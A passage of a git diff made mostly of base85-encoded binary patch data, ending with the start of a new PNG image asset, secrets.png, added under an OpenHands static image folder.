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 U=hJXNCV7I|>UVCVRjr=<1GZZ%YybcN literal 0 HcmV?d00001 diff --git a/openhands/static/img/software-factory/secrets.png b/openhands/static/img/software-factory/secrets.png new file mode 100644 index 0000000000000000000000000000000000000000..b31a4adb2ba3f4f7ce6b5fbdc97cf560cec68a56 GIT binary patch literal 96757 zcmYg&by!s07cPo|N~uUmeTZ~PH>gNRO7{Q`T|;-MbW1lwcSsH0F?0-_0}S2W%-s3n zckkVQ?PumZ`|Mn6?e)Iz3HhcdjrZd13k(blyst7}R4_1}W@2DqZa;gB{-uCyBo_nY zCC1k;pVZva_Lm6sR5y^=$3XH0|3|8U?+oSBABR>MGcz*N@9?PMD)30M@E+oolsFIW zn!3wXw84;tCg1Z5L+CWsRL(#Dj>-J>^Vbi2%ID9x9Q=MRklx(cVt#q@r04NNGl=7G z?&d5_TsYNJY)f#|NLWDN1I96ly`$q`f4>pBC+M<*6zTo9hJoSa@J!&pdgg>g`=kHr z=~R#L|Eq4FzqI?W`mrGB2j+iuA<-uk|5e9!XjcBK{!l#n`GkUyUjF#<()7RIFpzH! zi0yF6xQtgj12$JX{IHvvno@%j+4XO)5mDU#dx}85=_!S~ySwk*0-S<^;%(&qM8Rk{ z8Fy${7}@_?$If4R962yBpkAWEX3&}zh=jr)$rJ#<-}TvW_a@=UY72^p8g@LEmWGOX-wq{nZ>{&o z($Uey$HzCh9E661SQvF|Wq3wbMFCnolwqGRgYYS36&2ap*p|@kN09TA{*WdL_#r4L zi2Lv87Qv9E?9&n9quGT8U0q#+7LRxUpxMp-;r3#6bu~vi%GUjpfdPC}>~235)S4x^ zy#Z=_n69G|uxiP`|Z;n=wH8d-3oyJGYEf*2ImX?;~25kU!brT?P;9H`uQ~s1XY5f8-^y$y5L!JdChT^+lFAQC z5q@bR?^+s{m^fh&AvJNj#&5frId|^iJyWi~C#@nFmn3qv=xE?|@)UE-T|h`^B$b~7 zUBtz~|L&?E_&=5gZbU>x3Z?iB+kddrZ$`&yt7&M=&&}z#`Lt~GSOgv}HKE5nH9wyM zNRczFo_qfMd5K0@Xk?@*hR}0a{?DI3v+FmWcM*txTZaDI&yUz+^TZSz8ygS^#KgqJ 